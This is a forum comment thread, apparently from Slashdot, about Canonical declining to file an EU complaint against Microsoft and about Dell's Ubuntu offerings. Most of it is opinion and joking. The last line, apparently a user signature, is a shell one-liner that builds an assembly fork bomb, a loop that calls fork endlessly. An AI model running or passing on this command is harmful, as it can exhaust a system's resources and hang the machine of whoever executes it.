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Ubuntu Won't Moan To EU About Microsoft
Barence writes "The company behind the Ubuntu Linux distro says it has no plans to follow Opera's lead and file a complaint against Microsoft to the EU. Ubuntu 10.10 is the most 'consumer-friendly' version of the Linux distro to date, but it faces an uphill battle against Microsoft's marketing machine. Even high-profile supporter Dell has dropped Ubuntu machines from its website in recent months, while continuing to remind visitors that 'Dell recommends Windows 7' at the top of every PC page. 'I don't think we've ever considered [an EU complaint],' said Steve George, vice president of business development at Canonical. 'The improvements we're making to Ubunutu ... are a better route for us to reach out to users and get a bigger user base.'"
Dell may have dropped Ubuntu, but we dropped Dell. Good god are their business offerings ever horrible. We went out of our way to retire any and all Dell hardware with *extreme* prejudice.
Feed the need: Digitaladdiction.net
It is time for Dell to admit it can't compete against the Chinese. MS tells them to stop shipping Ubuntu and they do. They have no will of their own.
I think they're probably going about it the right way. It's an uphill battle, and we've still got a ways to go, but Linux in general and Ubuntu specifically has been making great strides here.
I particularly like Ubuntu's focus on polish. They don't just crank out apps. They work on themes, fonts, artwork, etc. Things that really make the desktop shine to user who's just taking a test drive. There was a time when a Linux desktop without a TON of work poured into it (and sometimes even after it) was just ugly. Sure it didn't crash, and it was secure, but it looked like it was drawn by programmers - because it WAS back then. Getting UI and artwork people on board helps a lot, and Ubuntu is doing the right thing in that regard.
"People who think they know everything are very annoying to those of us who do."-Mark Twain
'The improvements we're making to Ubunutu ... are a better route for us to reach out to users and get a bigger user base.'
High five for being one organization in this world that recognizes the benefits of positive advertisement rather than negative attack campaigns. It's always better to stay positive. People will like you more.
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Dell is still shipping PCs with Ubuntu preloaded. You can find them here.
"Frequently wrong, never in doubt."
I don't have much respect for those who unnecessarily bring government and lawyers into every situation.
I went to eat some animal crackers and the box said, "Do not eat if seal is broken." I opened the box and sure enough..
As soon as the revolution comes, we all know what to do with the MicroSoft marketing department.
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The amount spent on a single lawyer would probably pay for 2-3 programmers for the same period of time. Assuming you'd have 5 lawyers, 5 paralegals (1-2 programmers each), their support personnel (secretaries, whatever), and their expenses, you could probably hire 15-20 programmers and their support personnel over the same period of time that the lawyers would spend researching the complaint and drafting corrective proposals (probably a few months, maybe a year depending on any followup). The positive effect of 15-20 well paid and supported programmers on Ubuntu would probably have the same effect on adoption rates through word of mouth as bringing the complaint and giving people the option of choosing the Ubuntu that didn't have their improvements.
Of course, I could be overstating what 15-20 programmers could do. I can promise you, though, I'm not overstating how much attorneys cost...
I use an Ubuntu (Lucid) desktop for work... customized for our organization by our IT department and fully supported. Even though I develop (server-side stuff) for the linux platform, I'd given up on using linux as my main work machine a few years ago. This was done in frustration over the amount of work I had to do to get basic features going wireless (for laptops), web videos, sound, random usb device support etc. I had gone completely over to OSX as the platform of choice. But this current iteration has completely changed my mind. No more virtual-machines-for-coding-and-real -machine-for-everything else lifestyle for me.
Everything "just works" out of the box. Critical updates get auto-pushed (arranged by our IT... thorough our internal apt repo).... desktop/GUI behaviors etc. have been flawless... and I was able to connect my iPhone and upload all my music/photos etc. to the desktop (for more convenient headphone experience while coding). This last one is something that I positively *can not* do on my apple laptop. So in this instance, the Ubuntu desktop added value to an Apple product that another Apple product refused to do. And I was shocked to realize how plug-n-play this whole experience was (after the fact). No hacks, no "install ExperimentWare version 0.31" etc. I plugged in the phone via USB, some windows popped up to ask me what I wanted to do with the photos/music and just did what I asked. Impressive.
Dell has NOT dropped Ubuntu
The story is BS. PC Pro has zero credibility.
> 'The improvements we're making to Ubunutu ... are a better route for us to reach out to users and get a bigger user base.'
In my personal opinion,
- Sun did this.
- Digital did this.
- Netscape did this.
- Amiga did this.
- BeOS did this.
Well, that's the basic idea and the results are now well-known.
I think Michael Dell already knows what to do, he's commented on situations like this in the past:
"In 1997, shortly after Mr. Jobs returned to Apple, the company he helped start in 1976, Dell's founder and chairman, Michael S. Dell, was asked at a technology conference what might be done to fix Apple, then deeply troubled financially. "What would I do?" Mr. Dell said to an audience of several thousand information technology managers. "I'd shut it down and give the money back to the shareholders."" http://www.nytimes.com/2006/01/16/technology/16apple.html
A$ $oon a$ the revolution come$, we all know what to do with the Micro$oft marketing department.
You must be new here, so I fixed that for you.
Bribe them to promote Ubuntu (and linux in general)? No sense throwing away skilled laborers.
"I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
I wish them success in their attempt to topple (or at least put a serious dent in) Microsoft based purely on technical merit. Unfortunately the landscape is littered with other companies who have tried to do so; it's an uphill battle which typically runs off a cliff at some point. I do think that Canonical is in the best position to do so since IBM with OS/2 back in the day; in fact, IMO Canonical is significantly better positioned than IBM was back then. I've been using Ubuntu as my primary OS (both at home and work!) for a while now, and in spite of the occasional glitches, it has been like a breath of fresh air. The mere thought of going back to Windows gives me nightmares.
Dell, HP and Lenovo don't put up " recommends Windows 7" on each page because they actually do recommend Windows 7. They do it because Microsoft pays them money to do it.
I think it must just be Dell in the EU. Here in the US, you can still configure systems preloaded with Ubuntu.
In fact, I just ran the numbers. Buying a Latitude 13 configured exactly the way I like it, running 9.10 (32bit): $1753.98
Running Windows7 (32bit): $1862.98
I didn't see a way of doing 64bit installs for either option. This also doesn't take into account any of the specials that may be running, or employee discounts, etc.
In this circumstance, the Microsoft tax is $109
Is there such a thing as a group that coordinates actions to push for open-source growth strategies? Several groups might want such a thing, like governments. There was a time when I thought Microsoft was to blame for everything. These days I believe plain ole hard work, funding, partners, coordination, objectives, strategies, etc play a quite big part too.
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Well, the joke's on them, because 2010 is the year of Linux on the laptop.
Slow like in the original Napster, Bittorrent, Pirate Bay? Unless made illegal, the converts don't go back.
The truth shall set you free!
That's a bit cynical. Maybe they recommend Windows 7 because it offers an industry beating Low Total Cost of Ownership and compatibility with leading Enterprise applications. Also It Just Works.
Plus Windows is the only OS covered by Microsoft's Patent Promise.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;